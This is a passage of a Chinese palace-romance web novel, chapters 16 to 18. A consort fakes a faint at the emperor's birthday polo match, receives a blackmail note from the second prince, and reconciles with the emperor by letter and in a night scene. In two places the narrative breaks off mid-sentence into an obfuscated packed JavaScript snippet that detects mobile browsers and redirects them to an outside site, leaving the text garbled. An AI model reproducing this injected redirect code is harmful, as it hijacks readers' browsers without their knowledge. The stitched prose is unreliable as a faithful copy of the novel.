倘若他不是太子,倘若这不是父皇的寿宴,当众行刺天子……不管有心无心,他大约已经是个死人了。 太子绝望地闭上双眼,输赢蒙住的不是裴楷臣的心,是他的眼,他怎么敢告诉父皇,他方才满心都是输赢和观景台上的贵妃,全然分不出心神辨认面具之下的臣工已经换了旁人! 大好的日子,终究是当着众人的面,元朔帝纵有不快,也不至于给太子落个没脸,他并非不知太子本心,要说当众弑君还是过了些。 只是他这个儿子年纪还轻,又畏惧皇父威严,稍遇上些事情竟连圆场的本事都忘了个干净。 皇帝翻身下马,周遭的人都跪了下来,然而原本红粉簇团的观景台却乱了起来,素来稳重的皇后面上也带了惶急,连连唤人过来。 “快传御医,贵妃娘子晕倒了!” 16.第 16 章 陈容寿一听台上的动静,暗道一声不妙,满身的冷汗顾不上,不待元朔帝吩咐就教小黄门去寻常给天子请脉的宋院使来。 皇帝这些日子以来神情疏离,虽说不似前段日子难伺候,可两人总这样不咸不淡的,底下的人也不知什么日子是头,他也是一时被贵妃起的好头儿撺掇着胆大,不经意提起今日的马球。 ——陵阳侯是武将出身不假,银鞍白马、少年风流,又不计较贵妃出身寒微,两人年龄相仿,贵妃喜欢也理所应当。 然而陵阳侯年少早逝,他的功勋再大、名声再响,如何能比得过令四海归一的今上? 不过是贵妃年纪太小,没亲眼瞧见皇帝那一段铁马金戈的岁月,有些事情光靠嘴说不行,要是皇帝肯纡尊降贵,稍稍在贵妃面前露出点本事,叫贵妃一睹天子风采,那满心的情爱不都又移到皇帝身上? 但他心里这么想,到了御前可不敢这么说,只含蓄说起燕国公是从龙的勋贵,贵妃应当对马球这类能彰显男子雄风的娱乐很有几分兴趣。 要不然贵妃当初怎么没琢磨着攀上东宫这根嫩生生的新枝,一双含情的眼专盯着皇帝这尊大佛不放呢? 贵妃用心痴缠起人,那可比紫宸殿这些晦涩难懂又颇不情愿的示好要直白缠/绵得多,年轻的女人谁不爱出风头的郎君,说不定哄得贵妃晕头转向,什么都顾不得,一会子借口离席,要亲自服侍天子更衣擦身,也不是没有可能的事情。 不过以皇帝的身份与威名,亲身上场是不大合宜,也落了刻意……反正天子也不是头一回迈出这步,他们做奴婢的哄着劝着,帮贵妃把台阶都垫到君王六合靴的底下,左右皇帝打马球的本事三军无出其右,便是不教人瞧见真身也不怕贵妃瞧不出来。 可谁也没料到太子少年意气,不顾身临险地,非要与“裴楷臣”斗个输赢,做儿子的被皇帝打着一下不要紧,要真伤着了天子,太后追究起来,紫宸殿这些奴婢可以齐齐过奈何桥去了。 陈容寿哀叹,如今又把贵妃惊着了,这离元朔帝的本意可差了几万里,见天子面色不豫,分明惶恐不安的太子就在眼前,都没一句叫起的意思,弯月一般的球杆轻轻敲击在太子身前的一片地,发出沉闷凝重的响。 目光却牢牢固定在远处那抹倩影处,骤沉的神色里有不容违逆的锋芒,不肯错开一丝一毫的动静。 四周的臣下、宗亲都跪在地上,皇帝的好日子竟险些酿出祸来,他们既不敢为太子求情辩驳,省得越描越黑,惹今上猜忌,也不敢关心内廷女眷的安危,贵妃好像还轮不到他们这些人关怀。 只是个个将头颅伏到尘埃里,竖起一双双耳朵。 好在贵妃并无大碍,只过了片刻便醒来了。 陈容寿这边忙乱过后往前迎了几步,壮着心胆请罪,低声胡诌了几句:“娘子方才瞧错了眼,只当陛下身处险境,一时忧心得没缓过气来,好在二殿下颇通岐黄,恰好侍奉在侧,刚刚为娘子施过针,想来无妨。” 多亏贵妃这会儿动弹不得,更不能开口辩解,管她是中暑还是受惊,先拿来替太子挡一挡灾,把这局面解了,日后再慢慢圆谎。 她心底竟这样牵挂着他,元朔帝恍了恍神。 既然人没事,他该教几个女官走到她身边去,训斥她胆小怯懦,为一点点小事闹出偌大动静,丢了皇家颜面。 或许她是故意这样做的,那就更该责罚。 思绪翻腾得厉害,她哪里是胆小的人,有时候刁蛮任性,可大场面上总是知礼数的,不是关心则乱,不至于如此。 其实这算得了什么呢,她不晓得,从前被围的时候比这要凶险许多,打马球那点小伎俩不足挂齿,他险些被亲生儿子忤逆到头上都不曾气晕过去,她一个看客半点忙都帮不上,竟吓成这样。 但又想,过去的事情总归是过去了,他不喜爱臣下以旧日功劳夸耀,有居功自傲、贪得无厌的嫌疑,便以更严的规矩约束自身,不为臣下谄媚颂扬昔日功业而自矜。 她生来就是该享福的,被人关怀着、体贴着,男人们为一枚球打起来对她来说就是大场面了,何必呢,叫她再知道那些不堪与血腥。 倒是自己,一把年纪还要和小辈争风头,这些郎君都是金玉堆里长成的,山君与御马斗,就算是赢了又有什么意思? 陈容寿的点子歪得没边,他内心里何尝没有生出过那种隐秘的念头……她虚荣得很,发觉自己侍奉的君王并不比那些少年男子差,也许会发自真心地从高台上跑下来,重重跌到他怀里撒娇。 他本身便是规矩,哪怕很不喜欢她恃宠生娇,也很希望她有些时候没那么守规矩,哪怕不是私底下。 太子跪伏在地,父皇击地那一下下像是敲在他颈后,内心的恐惧与担忧早盖过了疼痛,他惴惴不安,却还牵挂着宜娘,心里一会儿泛酸,一会儿别别扭扭地生甜。 当着父皇的面,陈总管只能这么说,可父皇是什么人物,别说是没伤着,就算是受了刀剑伤,哪里需要一个失宠嫔妃的关心,怎么就这么巧,父皇才打了他一杖,宜娘就晕过去了? 是因为登高望远,她看破了他的难处,所以特特来替他解围么? 思及此,太子不免有些懊恼自己的不得体,一场球,输也就输了,他当着众人的面再宽宏大度地赏对方些什么,也不算坠了储君气度,甚至称得上是礼贤下士。 如今不单单是惹得父皇生气,连宜娘也被他拖累了。 皇帝花了极大的力气才克制住自己不当着众人的面走到她身边去探一探伤,对儿子这点冒失早不放在心上,平淡叫了声起:“你也是出息,这点伤要跪到什么时辰?” 陈容寿接过皇帝的马球杆,躬身退后几步,却听元朔帝吩咐道:“教太医署多遣几个医女来,伺候好贵妃。” 一场风波消弭于无形,太子沉默地站起身,心事重重地跟在元朔帝身后,他敏锐地察觉到父皇余怒未消,可现在显然不是描补的好时机。 可天日昭昭,他是真没认出父皇来,也不是吃了熊心豹子胆,等这把龙椅等得不耐烦了。 檀蕊不知贵妃好端端的喝着杏仁茶看马球,和嫔妃们彼此有来有往地下绊子,怎么忽然就胸闷气短起来,几个宫人急得团团转,先用人墙与锦缎将失态的贵妃都围了起来,却被匆匆赶来的二殿下喝退。 也算不上多么凶横,二殿下一直是姿态温和的人,说起话来不紧不慢,却有上位者令人信服的从容:“阿娘,卫母妃既是气厥,更要平躺才好,身边人一多,气息杂乱,反而不妙。” 沈幼宜自然是装的,她心里不安极了,她曾经的情郎与现在的丈夫逐鹿赛场,彼此角力和搏命似的,太子偷袭也好,皇帝反击也罢,旁人只是瞧着一个热闹,她怎么都瞧着怪透了! 她想寻个借口遁走,才要慢悠悠醒来,就被几位婢女稳稳当当放在柔软的垫褥上,她听到那少年郎君请奏:“儿臣也算得上久病成医,自忖有行针的把握,阿娘教我试一试,或许能叫卫母妃没那么难受。” 皇后斥责了两句鲁莽,然而太医和伺候嫔妃的医女赶上来也得耽搁一些时辰,她是个温柔的人,不忍心拂逆儿子一片孝心,心里晓得他的本事,勉强答应下来。 一阵白檀的香气伴随着轻微的刺痛拂近她面,在感受到银针有挑拨到筋脉的危险前,沈幼宜徐徐睁开了眼睛。 她望见一双修长柔润的手,硬朗的骨节藏在耀白如雪的肉皮下,显出女郎般的柔若无骨。 这双手的主人形貌昳丽,面色苍白,唇色却如渥丹,颇有几分魏晋风流的意韵,不细看都瞧不出和元朔帝轮廓上的相似,可目光之锐利却如出一辙。 他捻住几枚能要人命的银针,轻轻一笑,有几分无辜的孩子气:“儿子幸不辱使命,母亲可以把心放回肚子里了。” 二皇子的语气恭敬,待庶母也极有分寸,施针收针,两人顶多挨着点袖子,可就是这一点点……柔软的绸缎里忽然生出一只蝎子尾,没有毒,但蛰得人指尖一痛。 她下意识缩回袖下的手,竟捏住一个团。 沈幼宜悄悄睁开眼,瞥见他唇边那抹讥讽的笑,怎么瞧也不像她在脑海中勾勒过的孝顺模样,料想他猜出自己不过是装晕,一时间真有些脑仁涨疼,眼睛一阖,歪到一边养神,回答二皇子时也有气无力了许多。 皇后也问了两句话,倒不是问她怎么晕过去的,只是问她撑不撑得住。 沈幼宜又不能再晕,太医院的人真要上来就得穿帮,只好硬着头皮道:“谢娘娘体恤,妾只是身上有些不快,或许中了暑热,到更衣处歇上一会儿也就无碍了。” 这不过是推脱,皇帝那边照例赏赐了两队少年,要与后妃登楼观赏狮象,而后就要开宴,章程有条不紊,哪等得了人,少不得开恩体恤一番,就再也不管她了。 这个万寿节打开头意象就有些不好,皇后斟酌了番,差人问过御前的意思,颇为牵挂地叮嘱她几句,才与元朔帝一道起驾。 檀蕊扶了贵妃的手,不无担忧道:“娘子要是撑不住,奴婢扶您回瑶光殿去,再传女医过来好不好?” 沈幼宜摇了摇头,攥紧手中的纸团,教她们离远些:“没有那么娇气,我只是想寻个地方静坐一会儿,想明白了也就好了。” 前路云霞灿烂,未必是青云梯,她踏上前一步,就有可能粉身碎骨。 可瞧见过天宫一隅的炫彩夺目,哪怕她明知飞蛾扑火的下场,也不甘心止步于此。 侍女们远远候着,等她吩咐,沈幼宜悄悄将那个布团展开,草书龙飞凤舞,墨洇开小小一团,仍不失挥洒时的意气,只是短短几个字,她都可以想象出他开口时的玩世不恭。 “东宫重逢,故人坟干,不知萧侯今作何想?” 她甚至不敢将布条展全,慌忙用香点了,抬头再去瞧那些侍女,对她这处的动静似一无所知。 在储君之争中,卫氏大约更倾向于皇后嫡出,连她再嫁入宫,也未必没有皇后与二皇子的意思,可卫兰蓁私下悄悄与太子往来,脚踏在两只船上不说……还被二皇子拿住了她的短处! 她咬紧了唇,面上血色尽失,皇后也都知道了吗? 这人又是怎么知道的! 太子和今上的宠妃有了私情,一旦被拿到人前,这不足以彻底击垮太子,但她和卫氏都会死,这比沈家卷入谋逆的罪还重! 只消想一想,都毛骨悚然。 可末尾添上一笔“萧侯”,莫名其妙,也酸溜溜。 二嫁又不是什么丢人的事情,要说改嫁就是给前夫戴帽子,她成为元朔帝嫔妃的时候故陵阳侯头上那顶帽子已是天下皆知,还用等到今天才在九泉下心酸么? 皇后待她很好,送她宫人,失宠许久也没嫌弃她不中用,可一旦想做什么事情,身边没有可靠的人,总是束手束脚。 檀蕊本来瞧着贵妃面色红润,疑心娘子是不是故意的,可贵妃呆呆坐在那里,脸上一会儿白一会儿青,身子微微发颤,招手教她过来伺候,不免稍稍吃惊。 贵妃原本也只想在陛下面前露个脸便寻借口溜走的,她没瞧出哪里值得娘子生气动怒的。 沈幼宜摸了摸她的脸,面上还能浮出一丝笑,柔声道:“你原本是伺候皇后的,被指来做我的侍女,也委屈你了。” 檀蕊惶恐摇头:“娘娘这话是折煞奴婢了,您待奴婢极好,提拔奴做了身边最亲近的掌事宫人,从来也没有主子这样看重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662324|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过奴婢,怎么说得上是委屈呢。” 贵妃对她的效忠却似不屑一顾,莞尔道:“可我现在要死了,你也觉得很好吗?” 虽说贵妃常常有些教下人不明白的心思,可这样的话却是头一回,除了昭阳殿那晚,檀蕊从未见过她灰心成这样,她颤抖道:“娘子是身上难受?” 沈幼宜只从她的脸上看出了担忧迷茫,疑窦丛生,稍一沉思,才缓缓道:“不瞒你说,我做过许多对不起陛下的事情,又屡次挑衅嫔妃,女子从一而终,我能苟活到今日早就对不住郎君,如今又被外人知道那些没脸的事情,断然是活不成了,只想死前写一封陈情书与陛下相诀,而后从容赴死……盼着陛下宽容,瞧在燕国公府的功勋上,保全我一家性命。” 短短半日,檀蕊思索着到底是什么事能教娘子性情大变,萧侯的三年祭礼虽近,可贵妃犯不着难过自伤到寻死觅活的地步,她勉强镇定下来,宽慰道:“争风吃醋是女子本性,陛下纵然恼了一回,可您在行宫一向安分守己,又决心争上一争,什么事能教您连辩驳都不敢辩上一句,一心惦着……” 贵妃合上眼,疲倦道:“这回的事比那次重得多,连二殿下都知晓了,陛下知道只是早晚的事情,倒不如给自己留些体面。” 只因为她要求专房之宠,皇帝就翻脸无情,那这一回她被二殿下吓破了胆,要在御前自白,瑶光殿全无活口也在情理之中。 二皇子还不至于拿这事告发她,皇后亲近的妃子和太子不清不楚,东宫与中宫谁也得不到好处。 只要有一线希望,人总是盼着能活,身在曹营心在汉的人也不会例外。 …… 贵人迟来,太后开宴前才落了座,元朔帝穿了戏装,登台为她唱一出热热闹闹的神仙戏,天子寿辰彩衣娱亲,是载入史书的盛事,可她的目光落在席间,却察觉出一点不寻常。 皇帝更衣回身落座,仍是一身天子威仪,虽不轻易言笑,也比往常透着些松快。 但与之相反,皇后与嫔妃的神情却十分微妙……贵妃的席位是空着的,可惯要出风头的杨修媛今天都安静了许多。 太后微微蹙眉:“贵妃还病着?” 这话是问皇后的,元朔帝却半转过头来,语气平和道:“阿娘别恼,她也不是有心的,只是……胆子有点小,方才被唬到了,儿子已经吩咐人请了女医,稍后会去瞧一瞧。” 同母亲当众说起这些儿女私事未免不妥,她胆子不小,心却小得很,要是教外人知道她的心思,又不知要恼成什么样,元朔帝无意为这点小事废立太子,还是刻意避开了赛场上的不快。 太后只是随口一问,并不十分挂心,却对皇帝的反应颇为惊异,往常她有意撮合两人,不说贵妃那边怎么个别扭,皇帝是连见都未必肯见,连贵妃二字都很少提起,今天竟主动为她说起情来。 做娘的还要管他今晚去不去瑶光殿? 明明住得最近,好像宫道画出一条银河天堑,对岸的两人虽见不着面,却是针尖对麦芒,谁也不肯先软和一点。 真不知道皇帝到这年纪还同后宫的娘子们较什么劲,既然还有那么几分喜欢,下口谕召她到清平殿里承幸,贵妃还敢不来么? 顶多贵妃露出来一点后悔的意思……她略微没留心到,自己这个儿子和卫氏就这么猝不及防地和好了? 不过什么样的和好法子能教贵妃起都起不来? 太后的眼神微妙起来,可按照这心思去想,再瞧着座上的嫔妃,好像又很说得通。 雷霆雨露,尽在一人身上,贵妃得宠的时候没什么好说的,她年轻娇媚,君王还贪着新鲜,可失宠后也没谁能分到这一点半点,直到贵妃又得了圣恩。 虽说御体没什么毛病是好事,可她还是有几分嗔怪,这闹得太过了:“皇帝是该多体恤些。” 元朔帝极顺从地应承了下来,他已经过了脸红心跳的年纪,在无伤大雅的事情上不必强行纠正,弄得双方难堪。 母亲应当想得有几分偏颇,但也不完全错。 她把心思都花在了床笫间,一旦翻脸,求人和好的手段只有那么多……大约她那个亡夫也不曾需要她低声下气地挽回,稍遇到些挫折便要气馁,还不知过多少日子才鼓起再来下一回的勇气。 他膝下皇嗣虽不算多,也不是一定要她生出皇子来,可既然她做了嫔妃,无论那人待她曾有多好,都不该再惦记半分。 好在她最后仍旧想得通,也不算笨,还知道绣香囊来讨人喜欢。 只是内侍省的人说,绣得不算十分精致。 奴婢们评价贵妃的绣工,这已经是很客气了,但既然她已经先一步认了错,这件事和和气气地过去,比什么礼物都称心。 虽说已然晓得她会送些什么东西,那个惯会教人难堪的祖宗又不在,可到瑶光殿的人呈送寿礼时,陈容寿明显瞧见陛下的面色柔和得多。 皇帝未必能在宴席上待多久,今日怕更是如此了。 然而瑶光殿的内侍双手奉上的托盘上……却是三本厚厚的手抄经书。 “贵妃娘子知晓陛下崇尚佛法,特意以血入经,抄写了三本《无量寿经》,为陛下祈万年之福。” 那内侍将头深深伏低,直到上首的天子颔首,才把经文递了过去,垂手退下。 太后晓得他们这会子情浓,贵妃送什么估计皇帝都喜欢,称赞道:“难得她年轻又有静气,肯沉下心做事,皇帝赏她点什么罢。” 御前的内侍胆颤心惊,今日贵妃手臂处光洁一片,哪来那么多血可用来入墨。 而且……陈容寿将酒液斟入杯中,却见圣上抬眼,轻轻一笑。 “你前日说贵妃要送朕些什么?” 17.第 17 章 寿宴的热闹到傍晚才歇,天子兴致颇佳,并不推拒群臣敬酒,笑吟吟看了几个孩子的献宝,甚至还赐了太子一瓶伤药,温言勉励了一番,与皇后交谈起二皇子的医术。 明月良夜,情人相约再好不过,不过嫔妃们也心知肚明,往常大家还能有点指望,但贵妃眼瞧着重新得宠,还轮得到旁人么! 但总有大胆的美人鼓起勇气暗送秋波,甚至见圣上未有斥责,还起身献舞,敬了一杯水酒。 甚至还有一位别出心裁表演了凌波舞,广袖飘飘,若成仙而去,一痕胸脯似新月皎洁,沾了几颗汗珠。 一舞终了,连发丝都凌乱了几分,可双颊如酡,人也越发媚起来了。 ……贵妃当初不就是这样做的么? 今夜会不会出第二个得宠的贵妃,陈容寿不清楚,但他知道天底下没有比卫贵妃心眼更坏、更能气人,且不拿自己性命当回事的女人了。 按理说越是这样的场合,递过来的酒越该小心才是,尤其是发生过贵妃……给皇帝下药的事情。 这事虽未传出去,可贵妃没被处置,总有下一位不怕死的想来模仿。 不过第一杯的时候元朔帝示意他们退下,剩下的也不言而喻。 说不上令人失望还是庆幸,一直到宴席结束,都未曾出现过那时的尴尬。 天子仪仗早已预备停当,但元朔帝不开口,他们不能贸然往瑶光殿去。 宴会上的酒多为清甜佳酿,君臣畅饮,喝出事来总是不妥,不过陛下今夜饮过数巡,恐怕有损圣体,他轻声道:“奴婢教膳房做碗醒酒汤来?” 元朔帝略有几分倦色,道:“朕一个人走走。” 月色溶溶,银汉迢迢,蝉鸣此起彼落,正是散心的好时候。 清风吹落树叶,踏过时发出声声脆响,不知不觉,竟是已近七夕。 日月如梭,人又老了一岁,这没什么可高兴的,先帝在日,宫中每至此时都要举办清宴,后来这日子与今上寿辰临近,这一项可有可无起来,但皇后会与嫔妃公主一起拜月,那是女人们的热闹。 宫外两情缱绻的男女相约依旧,但她七月丧夫,并不情愿回忆这个节日。 他并不是非她不可,不要说正当盛年,就是耄耋之年,照旧有许多嫔妃等待君王的临幸。 但只有她,敢给他这么大的难堪。 她什么都知道了,于是有恃无恐,连做戏也懒怠,甚至在暗处狠狠捉弄了人,才算畅意。 等待的滋味并不好受,偶尔一点点的甜蜜却要夹杂无数烦愁,这已经远远超出他对后妃的预期……是该割舍的鸡肋。 皇帝不是为情所困的人,更不至于为此喝得酩酊大醉,心下有了决断,只在园中赏了半刻秋景便排驾回清平殿去。 这一晚的清平殿与往常没什么两样,皇帝未有招幸嫔妃的意思,只照常传了水。 按照习惯,皇帝沐身的时候,会有内监依次燃起书房烛火,先一步研磨朱砂,静候天子御批。 今夜所余的奏疏不多,因庆贺万寿,前朝夜里值宿的臣子不过二三人,宫人将酽茶都换了沁人心脾的桂花熟水,一切按部就班。 陈容寿夜里不当值,自有内侍替手进来,侍奉时犹自不安。 元朔帝已称得上好伺候的君主,没有折磨内侍宫人取乐的古怪癖好,更不赞成随意施加酷刑,可奴仆性命贱如蝼蚁,生杀予夺,皆决于上,若真疏忽片刻,随时会被逐出这座宫城,生不如死。 他留心着圣上眉宇间的起伏,钟漏的水声滴滴答答,在这夜里静极了。 忽而皇帝搁下了笔,他面上神情疏淡,随口问起:“今夜是谁当值?” 那内侍小心道:“回陛下的话,今夜是政事堂周仆射、中书省傅舍人值宿,翰林院沈学士待诏。” 皇帝要起草政令,与宰相们商议后,多由翰林学士捉笔,经中书门下下达地方,可元朔帝听了这几个人的名字并无召见的意思,反而蹙眉道:“士衡不在?” 士衡是燕国公的表字,他长皇帝数岁,不成想人到中年,君臣没结成亲家,反而做了翁婿,碍于这层身份,皇帝已许久不曾这样相称。 那内侍称是:“燕国公近来略感不适,昨日便告了假。” 元朔帝饮了一口熟水,桂花馥郁的香气凝在口齿处,清甜的蜜意下是一丝苦涩,烛火跳跃,他凝神望着那点光亮,竟笑了笑:“宣他进来。” 贵妃前脚惹了皇帝,后脚做父亲的便要代她受过,那内侍替燕国公扼腕了一番,就是当初,陛下也没有牵连燕国公府的意思,可见今日必不能善了。 他才要退下,忽而听元朔帝问道:“贵妃起居所用的一应器具都在行宫?” 这话平和,于此刻却颇见几分可怖,那内侍应答称是,背上冷汗淋漓,皇家出妻尚且不稀奇,何况是逐妾,先帝就曾将几位嫔妃安置在长安别宅,虽供给衣食住行,允许其与母家来往,可宫内再不过问,宅外又有层层护卫把守,与幽禁相去不远。 贵妃的张狂……已经惹天子厌弃到这等地步了么? 连等一晚宵禁的工夫都省了。 他匆匆退下,遥遥在殿外见到一人,险些以为自己撞鬼,愣了愣神,才客气道:“檀蕊姑姑怎么来了?” 与印象里不同的是,贵妃身边的檀蕊失去了往日端庄持重的姿态,走近些细瞧,可见灯下凄惶,她手里捧了蜡封好的信,低声道:“贵妃娘子要我来送些东西,劳烦您行个方便。” 那内侍同情看了她一眼,他有皇命在身,不好多言,只含蓄道:“陛下夜里要召见外臣,姑姑不若再等一等。” 这会子知道怕了有什么用呢,陛下待嫔妃虽说宽和,可皇帝的容忍总是有限度的,君王受命于天,是不容人冒犯的。 这样的惩处还不算最羞辱人的,皇帝就算要赐贵妃自尽,裸/尸还家,燕国公府不还是照样要谢恩万岁么? 檀蕊的面色白了几分,贵妃得宠时不必说,就是到了行宫,御前的人何时与她这般生分过。 她想起贵妃的颦眉泪眼,伏案时写了又烧,烧了又写的模样,大约贵妃真做下什么大事,咬了咬牙,请人通传了一回。 在外守夜的是陈容寿的干儿子,他见是檀蕊深夜前来,长长吁了一口气,满面含笑进去,却极快出来了,为难道:“陛下忙于政务,姑姑还是请回罢。” 原话要简洁得多。 天子的目光落在奏疏上,连头也不曾抬起:“不见。” 但檀蕊却不肯走,静静候了一刻钟,才又央人通传,原本好说话的内侍个个都做了木头桩子,正当她求告无门,远远的却传来一阵脚步声。 极轻,约是四个人。 内侍提灯引路,宫内到了落锁的时辰,卫敬中这一路走来,不免遇到些麻烦耽搁,他神情凝重,见了檀蕊才露出些了然认命的意味。 然而即便女儿为天子所厌,到了这个时候他仍不失风度,客客气气道:“臣候在廊下听宣,还请内监进去求陛下恩旨。” 尘埃落定,那内侍虽有几分不忍,还是回殿内复命:“陛下,燕国公已等候在外。” 他静静候了一会儿,未等到陛下开口召见,却听元朔帝徐徐道:“贵妃的人还在廊下?” 那内侍心下翻起惊涛骇浪,不敢腹诽天子短长,如实道:“瑶光殿的掌事捧了一封书信,说是贵妃亲笔,奴婢们也劝过,但她不肯回去。” 梧桐高大,叶影覆窗,一点点移将过去,透出秋夜的凉意。 紫宸殿里见惯了杀伐,他不觉得陛下会更改心意,至多是有几分念旧。 贵妃往后的日子应当能比那几位嫔妃都过得更好些。 “教人呈上来。” 元朔帝抬手按了按眉心,闻得出,她近来偏好茉莉花的香气,大概调制了新香,连信也要熏透。 门外侍奉的黄门倏然从木头变成了活人,熏染着淡淡花香的信封上还有一点烛油,透出内里的一点红,与这素雅清新的香味极不相合。 信的主人与宫廷亦不相合,有趣鲜妍,但不肯委屈半点自己的心意,连逢迎的功夫也不愿意做。 她明明白白告诉他,哪怕天子百般俯就,她也不愿割舍对前夫的怀恋,就此低头。 但他也并非眼中容沙的男子,面对这些情爱纠缠,抽身总是更容易些。 男儿爱后妇,女子重前夫。她既然有这份心,勉强来的总归是没有意思。 可鬼使神差,他随手裁开信封,飘落出一张精致红笺,一支芍药撒了金粉,在灯底流光生辉。 写信的人在信纸上大费周章,但上面只有短短的一句话。 “您还惦记着我吗?” 他的心倏然乱了一下,她生长在山野,当知男女缱绻的上巳节过去,芍药的花期也就结束了。 维士与女,伊其相谑,赠之以勺药。① 大约是天意,她不知道此刻已是将离之际,却福至心灵,忽而对他祈求爱怜。 那内侍候了许久,大气也不敢出,直到上首的天子起身,侍者们才迎了上去。 “夜寒露重,教燕国公回去安寝罢。” 元朔帝沉吟片刻,吩咐道:“朕新得了一篇右军字帖,改日再邀他共赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667148|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 燕国公半糊涂半清明地被召来,又糊里糊涂地被内侍引回去,总要有些说法,可等他出了清平门后,再要问贵妃的近况,那内侍连连摆手,莞尔道:“国公爷,贵妃是侍奉陛下的人,能有什么不好呢?” 要说真有什么不好,大约就是生得太晚了一些。 贵妃的出身、容貌甚至宠爱都没什么可挑的,早来十几年,卫氏的运道就不止于此了。 他想到这场无声无息压下去的风波,不免回望一眼燃着星点灯烛的瑶光殿。 即便是如今,又有谁能说得准呢? …… 清平殿无论昼夜,常有侍者进进出出,静寂了许久的瑶光殿只有今夜才重新热闹起来。 御前的内侍匆匆侍驾而来,再也没有多余的心思斥责瑶光殿的怠慢,恨不得将自己的存在降得低些、再低些。 元朔帝进来时,瞧见的便是一幅朦朦胧胧的秋夜仕女图。 帘幕重重,隔绝出一方僻静天地,连灯烛都熄了,只有月影还柔和地洒落在这片堪比冷宫的天地,照亮了帘上珍珠。 内侍提来的琉璃宫灯映亮了画卷,可教人一窥全貌。 寝殿内的美人跪坐在胡榻上,她披了轻薄单衣,以木钗簪发,对着铜镜懒散描摹黛眉,案几上放着酒壶,并两只小小的银杯。 就像梦里的情景一般。 但画上的仕女不会因观者的脚步声赤着足下榻,轻盈地提了裙摆向人奔来。 珠玉相撞,纱绢拂袖,她拨开一层层云雾似的迷障,隐约可见面上的欢喜。 直到最后一道纱前,才倏然停了下来,只有裙摆覆到足上的一点牵动,暴露出她的手足无措。 秋夜寂寂,静得能听见对方的呼吸、心跳……甚至是彼此轻轻的吞咽。 呼吸交融,就像他们曾经做过的那样,柔软、激烈,痛苦,而后滋生强烈的快意,直到天地俱焚。 沈幼宜尽可能镇定地望着他,那一日短暂的纠葛,她完全没有心思打量一张陌生男人的脸。 可处境变了,她的心也跟着变了。 她早就知道,卫贵妃侍奉的君王年岁颇长,只是悄悄期盼从皇帝的脸上能看出几分太子的风神秀色,不要凶恶到令人难以下咽……就算是想攀高枝,她也喜欢拣一枝好看的攀。 幸好,今上较之太子,望之不过平添了几岁年华,身形高大,颇有几分英武气概,他是五官硬挺的男子,一点点的痕迹刻在眼尾,更显他双目深邃锐利,好在他们之间还隔了一层纱,霭霭云月柔和了日辉,也遮掩住烈日的咄咄逼人,让猎物暂时失去拔腿欲逃的念头,放松警惕。 甚至想靠得更近些,汲取他的暖与热。 这样的人,一瞧便知是九十九重天上的人物,或许是这方天地太过逼仄,比起太子的少年意气,他的目光更具成熟侵略意味,令人呼吸不畅。 可沈幼宜也想象不到帝王与嫔妃交欢的场景。 大概是他胸膛宽阔,能拥住两个她还有余,让她生出一点好奇,就像秘戏图里的那样,男女叠在一起,他能亲吻到她么,还是要她爬上爬下? 还是说在这种时候也得端着点,不说话、光用心做事比较好呢? 她垂下头,把古怪的念头暂时压下去,目光触到半掀帘幕的那只手上,明暗交替间隐约可见指腹上的薄茧,可以想见触感的温热粗糙,却教她奇异地酥麻一片。 沈幼宜不太理解这具身体突如其来的感受,她下意识抗拒这种改变,思忖后退两步会不会舒适一些,却听元朔帝问道:“身上还难受么?” 比起那日的无奈,似乎还多了几分绵绵缱绻,温和而低沉,就在她头顶响起,腰软得有些不对劲,沈幼宜不自觉咬住了唇。 为元朔帝提灯的内侍不得御令,不敢擅离,即便到了现在,他们也拿不准贵妃还会做出些什么来。 美丽多情的贵妃似乎刚喝过一壶醇厚的酒,双颊红霞漫开,一直延伸到颈下,她轻轻摇了摇头,吐出的话语却照旧气人。 “您怎么这样坏呀?” 她有点生气:“我快要不喜欢您了。” 烛苗惊得跳了几跳,天子并未因她的倒打一耙而拂袖离去,缄默半晌,才缓缓道:“为什么?” 她踮脚揽住帝王的颈项,扬起头直面他,眼睛眨了几下,才又向下看,像强忍着很多委屈,哽咽道:“因为我一直……一直都在这里等您。” 宫灯被无声无息地安置在桌案上,那内侍倒退了数步,静静隐在茫茫夜色之后。 陛下今夜用不上奴婢侍候,大约更不会走了。 18.第 18 章 她睫上的泪珠将落未落,在这凄凄冷冷的宫殿里,自己都要被自己说得委屈坏了。 这种招数不要说太子受用,就是待她严厉的阿兄也难以抵挡,她不需要讲什么大道理,对方就会随便为彼此寻个台阶。 即便贵为天子,又岂能免俗? 就算她是个嫉妒到不允许别人接近天子的女人又怎么样呢,只要她招一招手,他最终还是乖乖送上门来……尽管怒气冲冲,令她有些害怕。 他大概会环住她的腰肢,说些爱怜的情人絮语,才不负此等良宵佳时。 沈幼宜垂下头,竭力克制住心底隐秘的得意,这样近的距离,她怕露在眉梢眼角,反倒不妙。 含羞哀怨的宫妃在祈求他的回应,然而元朔帝抬手捉住她一臂,迫使沈幼宜落回原处。 广袖宽褪,她的臂膊如寒月泛凉,他眉峰渐耸,初秋的季节,夜间寒凉,再穿这些衣裳已不合时宜。 沈幼宜一惊,男子的气息扑面而来,她想不到竟会这样快,羞得足趾都蜷缩起来。 男子的手比她想象中更热、更有力,但没那么粗糙。 他一寸寸抚过细腻如玉的小臂,白如新藕,绵软如云,教人一不留神就要陷进去。 骗子。 